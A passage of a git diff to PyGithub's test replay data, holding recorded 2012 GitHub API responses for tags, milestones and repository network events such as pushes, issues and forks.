OnYxLjQzLjQ=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.4","object":{"sha":"e80bb865356537751119a9246b93d0a592f5ceb4","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/e80bb865356537751119a9246b93d0a592f5ceb4"}},{"ref":"refs/tags/v1.43.5","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.5","object":{"sha":"c5499a3374813544abf9d50834d15891360e3040","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/c5499a3374813544abf9d50834d15891360e3040"}},{"ref":"refs/tags/v1.43.6","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjY=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.6","object":{"sha":"954455c1531fa2d8a7056df79e292a0eb78d02e3","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/954455c1531fa2d8a7056df79e292a0eb78d02e3"}},{"ref":"refs/tags/v1.43.7","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjc=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.7","object":{"sha":"9d77016321f4785311d3c3dd96e3831e33f1d5c8","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/9d77016321f4785311d3c3dd96e3831e33f1d5c8"}},{"ref":"refs/tags/v1.43.8","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQzLjg=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.43.8","object":{"sha":"b4ff2916bccee6ba54ed12622ff82d5ccad45735","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b4ff2916bccee6ba54ed12622ff82d5ccad45735"}},{"ref":"refs/tags/v1.44","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ0","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.44","object":{"sha":"7c1857c760b229a86bc100c441bcfdc6acab86a3","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/7c1857c760b229a86bc100c441bcfdc6acab86a3"}},{"ref":"refs/tags/v1.44.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ0LjE=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.44.1","object":{"sha":"37b04854c184cd4cbf9fcbed27b61260217d81c5","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/37b04854c184cd4cbf9fcbed27b61260217d81c5"}},{"ref":"refs/tags/v1.45","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ1","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.45","object":{"sha":"8cb32bdcd58876e7dff0b9d3439836ed338a0bd1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/8cb32bdcd58876e7dff0b9d3439836ed338a0bd1"}},{"ref":"refs/tags/v1.46","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ2","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.46","object":{"sha":"1ad2889dd7c38f02e2a9defbdffc7a94bb917702","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/1ad2889dd7c38f02e2a9defbdffc7a94bb917702"}},{"ref":"refs/tags/v1.47","node_id":"MDM6UmVmMjU1MzU1MTYwOnYxLjQ3","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v1.47","object":{"sha":"b2dfea37fa29a55c6776ce27d59cde80dc37dfbb","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/b2dfea37fa29a55c6776ce27d59cde80dc37dfbb"}},{"ref":"refs/tags/v2.0.0-alpha.1","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC1hbHBoYS4x","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0-alpha.1","object":{"sha":"2850936b585ce136c97d3efbfa2643844c308b05","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/2850936b585ce136c97d3efbfa2643844c308b05"}},{"ref":"refs/tags/v2.0.0-alpha.2","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC1hbHBoYS4y","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0-alpha.2","object":{"sha":"473e70ca294bf3835e3e8cbdc3410d43aa2dff17","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/473e70ca294bf3835e3e8cbdc3410d43aa2dff17"}},{"ref":"refs/tags/v2.0.0.-alpha.3","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC4tYWxwaGEuMw==","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0.-alpha.3","object":{"sha":"94a223016b49d47b2b26fc786deff39603b539f4","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/94a223016b49d47b2b26fc786deff39603b539f4"}},{"ref":"refs/tags/v2.0.0-alpha.4","node_id":"MDM6UmVmMjU1MzU1MTYwOnYyLjAuMC1hbHBoYS40","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/v2.0.0-alpha.4","object":{"sha":"f821d77e87e4a8114184db05b00eee462a0ebdf1","type":"tag","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags/f821d77e87e4a8114184db05b00eee462a0ebdf1"}},{"ref":"refs/tags/1.35","node_id":"MDM6UmVmMjU1MzU1MTYwOjEuMzU=","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs/tags/1.35","object":{"sha":"19310e77e3279080998e2ff230d19e6fe0743528","type":"commit","url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits/19310e77e3279080998e2ff230d19e6fe0743528"}}] - diff --git a/tests/ReplayData/Repository.testGetMilestones.txt b/tests/ReplayData/Repository.testGetMilestones.txt index 347dfbd76e..45577d8ec7 100644 --- a/tests/ReplayData/Repository.testGetMilestones.txt +++ b/tests/ReplayData/Repository.testGetMilestones.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4938'), ('content-length', '901'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ed668d7695f9e5259aa7d9660a875e03"'), ('date', 'Sun, 27 May 2012 07:07:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547,"closed_issues":2}] - diff --git a/tests/ReplayData/Repository.testGetMilestonesWithArguments.txt b/tests/ReplayData/Repository.testGetMilestonesWithArguments.txt index f1dc001c4c..55f8ce9eef 100644 --- a/tests/ReplayData/Repository.testGetMilestonesWithArguments.txt +++ b/tests/ReplayData/Repository.testGetMilestonesWithArguments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '2252'), ('x-ratelimit-remaining', '4858'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5fba22d60628595b9e34df100c6ef545"'), ('date', 'Tue, 29 May 2012 18:41:47 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","due_on":"2012-03-13T07:00:00Z","open_issues":0,"title":"Version 0.4","created_at":"2012-03-08T12:22:10Z","creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"description":"","number":1,"id":93546,"state":"closed","closed_issues":3},{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/3","due_on":"2012-03-20T07:00:00Z","open_issues":0,"title":"Version 0.5: full implementation","created_at":"2012-03-12T21:38:36Z","creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"description":"","number":3,"id":95354,"state":"closed","closed_issues":4},{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/4","due_on":"2012-04-19T07:00:00Z","open_issues":0,"title":"Version 0.6","created_at":"2012-04-17T05:52:03Z","creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"description":"","number":4,"id":108652,"state":"closed","closed_issues":2},{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","due_on":"2012-05-26T07:00:00Z","open_issues":0,"title":"Version 0.7","created_at":"2012-05-25T11:47:06Z","creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"description":"","number":5,"id":124045,"state":"closed","closed_issues":2}] - diff --git a/tests/ReplayData/Repository.testGetNetworkEvents.txt b/tests/ReplayData/Repository.testGetNetworkEvents.txt index 88c05bc9cd..bced21af75 100644 --- a/tests/ReplayData/Repository.testGetNetworkEvents.txt +++ b/tests/ReplayData/Repository.testGetNetworkEvents.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4929'), ('content-length', '44412'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"1e10e6d8994190bd053880e299e9b0b4"'), ('date', 'Sun, 27 May 2012 07:08:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"DownloadEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"download":{"name":"Hook.py","size":1024,"created_at":"2012-05-27T06:54:54Z","content_type":".py","url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/245143","download_count":0,"id":245143,"description":"","html_url":"https://github.com/downloads/jacquev6/PyGithub/Hook.py"}},"id":"1556239111","created_at":"2012-05-27T06:54:55Z"},{"type":"DownloadEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"download":{"name":"htmlcov.zip","size":258048,"created_at":"2012-05-27T06:53:47Z","content_type":".zip","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/245142","id":245142,"description":"","html_url":"https://github.com/downloads/jacquev6/PyGithub/htmlcov.zip"}},"id":"1556239049","created_at":"2012-05-27T06:53:48Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"956279094a7383b6a8f00c93770ed02ca711f8e5","size":4,"push_id":80734053,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"8cb3e63e80f3ab741ca580eed791a85fb4e1b968","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8cb3e63e80f3ab741ca580eed791a85fb4e1b968","distinct":true,"message":"Test Team"},{"sha":"e7fe18b7dd3daa03a6ebb7f83a4f100c0f68e96b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e7fe18b7dd3daa03a6ebb7f83a4f100c0f68e96b","distinct":true,"message":"Test Organization members"},{"sha":"4169010f17cf66a9f1e43e476115485ed7cda90c","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4169010f17cf66a9f1e43e476115485ed7cda90c","distinct":true,"message":"Improve coverage of Organization"},{"sha":"956279094a7383b6a8f00c93770ed02ca711f8e5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/956279094a7383b6a8f00c93770ed02ca711f8e5","distinct":true,"message":"Test Repository.create_git_*"}]},"id":"1556235497","created_at":"2012-05-27T06:00:30Z"},{"type":"IssuesEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"opened","issue":{"number":30,"created_at":"2012-05-27T05:40:15Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Body created by PyGithub","comments":0,"title":"Issue also created by PyGithub","updated_at":"2012-05-27T05:40:15Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/30","id":4769659,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":2,"due_on":"2012-06-04T07:00:00Z","created_at":"2012-03-08T12:22:28Z","title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","id":93547,"open_issues":10,"closed_issues":2,"description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/30","labels":[{"name":"Question","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","color":"02e10c"}],"state":"open"}},"id":"1556234207","created_at":"2012-05-27T05:40:15Z"},{"type":"MemberEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"added","member":{"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/Lyloa","id":1131432,"login":"Lyloa"}},"id":"1556233923","created_at":"2012-05-27T05:34:29Z"},{"type":"MemberEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"added","member":{"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/Lyloa","id":1131432,"login":"Lyloa"}},"id":"1556233882","created_at":"2012-05-27T05:33:44Z"},{"type":"ForkEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1424031,"url":"https://api.github.com/users/BeaverSoftware","login":"BeaverSoftware"},"payload":{"forkee":{"name":"PyGithub","size":348,"has_wiki":false,"created_at":"2012-05-27T05:23:17Z","clone_url":"https://github.com/BeaverSoftware/PyGithub.git","public":true,"watchers":1,"private":false,"updated_at":"2012-05-27T05:23:18Z","git_url":"git://github.com/BeaverSoftware/PyGithub.git","fork":true,"language":"Python","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","id":4460027,"svn_url":"https://github.com/BeaverSoftware/PyGithub","pushed_at":"2012-05-26T20:54:13Z","has_downloads":true,"mirror_url":null,"open_issues":0,"full_name":"BeaverSoftware/PyGithub","has_issues":false,"homepage":"http://vincent-jacques.net/PyGithub","description":"Python library implementing the full Github API v3","forks":0,"html_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware"}}},"id":"1556233222","created_at":"2012-05-27T05:23:18Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"a39af6a0aae16a923f7be48a70fe1095b17280d2","size":2,"push_id":80709334,"commits":[{"sha":"60fb7a8ef56f46d3fe9ce6d008e6b58238a71d29","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/60fb7a8ef56f46d3fe9ce6d008e6b58238a71d29","distinct":true,"message":"Heavy refactoring of integration tests"},{"sha":"a39af6a0aae16a923f7be48a70fe1095b17280d2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a39af6a0aae16a923f7be48a70fe1095b17280d2","distinct":true,"message":"Improve test coverage"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"id":"1556182773","created_at":"2012-05-26T20:54:15Z"},{"type":"WatchEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"1689abbd998128dbb3658698b429b022","avatar_url":"https://secure.gravatar.com/avatar/1689abbd998128dbb3658698b429b022?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":22974,"url":"https://api.github.com/users/michaelpedersen","login":"michaelpedersen"},"payload":{"action":"started"},"id":"1556168218","created_at":"2012-05-26T18:33:42Z"},{"type":"IssuesEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"closed","issue":{"number":28,"created_at":"2012-05-19T10:38:23Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Body edited by PyGithub","title":"Issue created by PyGithub","comments":0,"updated_at":"2012-05-26T14:59:33Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","id":4653757,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":1,"created_at":"2012-03-08T12:22:10Z","due_on":"2012-03-13T07:00:00Z","title":"Version 0.4","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","id":93546,"open_issues":0,"closed_issues":3,"description":"","state":"closed"},"closed_at":"2012-05-26T14:59:33Z","html_url":"https://github.com/jacquev6/PyGithub/issues/28","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","color":"e10c02"},{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"},{"name":"Question","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","color":"02e10c"}],"state":"closed"}},"id":"1556145515","created_at":"2012-05-26T14:59:34Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"36574ded89738a81f47f415017ba880d0cad839b","size":5,"push_id":80677260,"commits":[{"sha":"95cd6c507bdfbf3700a31bafbe26f72a1d684be1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/95cd6c507bdfbf3700a31bafbe26f72a1d684be1","distinct":true,"message":"Use setUp in test for NamedUser"},{"sha":"386bcde55e1744fa888b034d34ad9f167595d2cf","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/386bcde55e1744fa888b034d34ad9f167595d2cf","distinct":true,"message":"Refactor tests of NamedUser"},{"sha":"1b3ca70ebe8724ab7d0d6ba9c8b20853a018eeec","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1b3ca70ebe8724ab7d0d6ba9c8b20853a018eeec","distinct":true,"message":"Restore coverage of Event"},{"sha":"ff8d87d5391b2ef8d10e89f77260a18440e88e25","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ff8d87d5391b2ef8d10e89f77260a18440e88e25","distinct":true,"message":"Test NamedUser.create_gist withour description"},{"sha":"36574ded89738a81f47f415017ba880d0cad839b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/36574ded89738a81f47f415017ba880d0cad839b","distinct":true,"message":"Refactor tests of Repository"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"id":"1556126182","created_at":"2012-05-26T11:25:50Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub","name":"jacquev6/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"619eae8d51c5988f0d2889fc767fa677438ba95d","size":11,"push_id":80673538,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":false,"message":"Merge branch 'develop'"},{"sha":"3a3bf4763192ee1234eb0557628133e06f3dfc76","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3a3bf4763192ee1234eb0557628133e06f3dfc76","distinct":true,"message":"Merge branch 'master' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\tgithub/Github.py\n\tgithub/Requester.py"},{"sha":"608f17794664f61693a3dc05e6056fea8fbef0ff","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/608f17794664f61693a3dc05e6056fea8fbef0ff","distinct":true,"message":"Restore some form of Authorization header in replay data"},{"sha":"2c04b8adbd91d38eef4f0767337ab7a12b2f684b","author":{"name":"Vincent 